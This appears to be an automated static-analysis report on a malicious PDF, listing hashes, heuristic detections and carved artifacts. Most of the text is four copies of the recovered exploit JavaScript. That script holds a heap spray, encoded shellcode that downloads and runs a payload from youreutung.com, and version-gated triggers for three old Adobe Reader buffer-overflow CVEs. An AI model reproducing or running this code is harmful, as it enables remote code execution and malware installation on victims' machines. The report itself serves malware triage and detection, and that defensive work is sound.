Malicious PDF — malware analysis report

Static analysis result for SHA-256 5ce7787fa12f2e90…

MALICIOUS

PDF

2.5 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2012-07-12
MD5: df2c9494fb98be0107e889ca9e534e27 SHA-1: 738a9606b71f817fe29aa91272aa638f043ec661 SHA-256: 5ce7787fa12f2e90a0485066ecfdd406fbe7fe6fd5c7aaa3e89fc88061a96b99
630 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits multiple known Adobe Reader vulnerabilities. The script performs a heap spray and is designed to download and execute a second-stage payload from the embedded URLs. The specific vulnerabilities targeted (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) indicate a sophisticated exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    varz75n=newArray();functionz32i(k45e,h99v){while(k45e.length*2<h99v){k45e=k45e;}k45e=k45e.substring(0,h99v/2);returnk45e;}functiong31d(n7c){varn36y=0x0c0c0c0c;varj97m=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://youreutung.com/explo/load.php?stat=Windows/load.php&s=1 Referenced by PDF JavaScript
    • http://youreutung.com/explo/load.php?stat=Windows/load.php&s=2Referenced by PDF JavaScript
    • http://youreutung.com/explo/load.php?stat=Windows/load.php&s=3Referenced by PDF JavaScript
    • http://youreutung.com/explo/load.pReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 3759 bytes
SHA-256: 457a1fca08ffff07493e5343a1e7a158fc7728006013e007bba6e31b50b7f83e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var z75n = new Array();
function z32i(k45e, h99v){
 while (k45e.length * 2 < h99v){
k45e += k45e;
}
k45e = k45e.substring(0, h99v / 2);
return k45e;
}
function g31d(n7c){
var n36y = 0x0c0c0c0c;
var j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (n7c == 1){
n36y = 0x30303030;
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (n7c == 2){
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var b21u = 0x400000;
var u96b = j97m.length * 2;
var h99v = b21u - (u96b + 0x38);
var k45e = unescape("%u9090%u9090");
k45e = z32i(k45e, h99v);
var j94u = (n36y - 0x400000) / b21u;
for (var z91d = 0; z91d < j94u; z91d ++ ){
z75n[z91d] = k45e + j97m;
}
}
function h37o(){
var m69o = app.viewerVersion.toString();
if (m69o > 8){
g31d(1);
var i97x = "12999999999999999999";
for (l51z = 0; l51z < 276; l51z ++ ){
i97x += "8";
}
util.printf("%45000f", i97x);
}
if (m69o < 8){
g31d(0);
var o7i = unescape("%u0c0c%u0c0c");
while (o7i.length < 44952)o7i += o7i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : o7i});
}
if (m69o < 9.1)
{
if (app.doc.Collab.getIcon){
g31d(2);
var m48h = unescape("%09");
while (m48h.length < 0x4000)m48h += m48h;
m48h = "N." + m48h;
app.doc.Collab.getIcon(m48h);
}
}
}
h37o();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 286 bytes
SHA-256: 50f375b333934b74effa751f2784d7f097a1fe34a71005cc4f6de06e6ef58360
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 286 bytes
SHA-256: 8918f1f5a90dca918a18cc03c1a31dd771355aa0e5d7b85d3c81ee98d1159ca5
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 286 bytes
SHA-256: b9de0ff7de846dc5325a61b06db75411e9c8ee8ba34a44fdc2eb20e1e224b891
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 3755 bytes
SHA-256: b502859adf39ad5f9663523d4c8fee400925dc2931d1900e85b6efb3428ed7b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var z75n = new Array();
function z32i(k45e, h99v){
 while (k45e.length * 2 < h99v){
k45e += k45e;
}
k45e = k45e.substring(0, h99v / 2);
return k45e;
}
function g31d(n7c){
var n36y = 0x0c0c0c0c;
var j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (n7c == 1){
n36y = 0x30303030;
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (n7c == 2){
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var b21u = 0x400000;
var u96b = j97m.length * 2;
var h99v = b21u - (u96b + 0x38);
var k45e = unescape("%u9090%u9090");
k45e = z32i(k45e, h99v);
var j94u = (n36y - 0x400000) / b21u;
for (var z91d = 0; z91d < j94u; z91d ++ ){
z75n[z91d] = k45e + j97m;
}
}
function h37o(){
var m69o = app.viewerVersion.toString();
if (m69o > 8){
g31d(1);
var i97x = "12999999999999999999";
for (l51z = 0; l51z < 276; l51z ++ ){
i97x += "8";
}
util.printf("E000f", i97x);
}
if (m69o < 8){
g31d(0);
var o7i = unescape("%u0c0c%u0c0c");
while (o7i.length < 44952)o7i += o7i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : o7i});
}
if (m69o < 9.1)
{
if (app.doc.Collab.getIcon){
g31d(2);
var m48h = unescape("	");
while (m48h.length < 0x4000)m48h += m48h;
m48h = "N." + m48h;
app.doc.Collab.getIcon(m48h);
}
}
}
h37o();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 3766 bytes
SHA-256: 84493e6ed1bfde716a6d5851f0d53b05aef6a30fe2bc21e2df995bc202832b8d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var z75n = new Array();
function z32i(k45e, h99v){
 while (k45e.length * 2 < h99v){
k45e += k45e;
}
k45e = k45e.substring(0, h99v / 2);
return k45e;
}
function g31d(n7c){
var n36y = 0x0c0c0c0c;
var j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (n7c == 1){
n36y = 0x30303030;
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (n7c == 2){
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var b21u = 0x400000;
var u96b = j97m.length * 2;
var h99v = b21u - (u96b + 0x38);
var k45e = unescape("%u9090%u9090");
k45e = z32i(k45e, h99v);
var j94u = (n36y - 0x400000) / b21u;
for (var z91d = 0; z91d < j94u; z91d ++ ){
z75n[z91d] = k45e + j97m;
}
}
function h37o(){
var m69o = app.viewerVersion.toString();
if (m69o > 8){
g31d(1);
var i97x = "12999999999999999999";
for (l51z = 0; l51z < 276; l51z ++ ){
i97x += "8";
}
util.printf("E000f", i97x);
}
if (m69o < 8){
g31d(0);
var o7i = unescape("%u0c0c%u0c0c");
while (o7i.length < 44952)o7i += o7i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : o7i});
}
if (m69o < 9.1)
{
if (app.doc.Collab.getIcon){
g31d(2);
var m48h = unescape("	");
while (m48h.length < 0x4000)m48h += m48h;
m48h = "N." + m48h;
app.doc.Collab.getIcon(m48h);
}
}
}
h37o();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 3770 bytes
SHA-256: e5659c0d80a42f40ff3f0fa6fd3723c0527b0afbb903eae888dee59174b1d814
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var z75n = new Array();
function z32i(k45e, h99v){
 while (k45e.length * 2 < h99v){
k45e += k45e;
}
k45e = k45e.substring(0, h99v / 2);
return k45e;
}
function g31d(n7c){
var n36y = 0x0c0c0c0c;
var j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (n7c == 1){
n36y = 0x30303030;
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (n7c == 2){
j97m = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u792F%u756F%u6572%u7475%u6E75%u2E67%u6F63%u2F6D%u7865%u6C70%u2F6F%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2F73%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var b21u = 0x400000;
var u96b = j97m.length * 2;
var h99v = b21u - (u96b + 0x38);
var k45e = unescape("%u9090%u9090");
k45e = z32i(k45e, h99v);
var j94u = (n36y - 0x400000) / b21u;
for (var z91d = 0; z91d < j94u; z91d ++ ){
z75n[z91d] = k45e + j97m;
}
}
function h37o(){
var m69o = app.viewerVersion.toString();
if (m69o > 8){
g31d(1);
var i97x = "12999999999999999999";
for (l51z = 0; l51z < 276; l51z ++ ){
i97x += "8";
}
util.printf("%45000f", i97x);
}
if (m69o < 8){
g31d(0);
var o7i = unescape("%u0c0c%u0c0c");
while (o7i.length < 44952)o7i += o7i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : o7i});
}
if (m69o < 9.1)
{
if (app.doc.Collab.getIcon){
g31d(2);
var m48h = unescape("%09");
while (m48h.length < 0x4000)m48h += m48h;
m48h = "N." + m48h;
app.doc.Collab.getIcon(m48h);
}
}
}
h37o();

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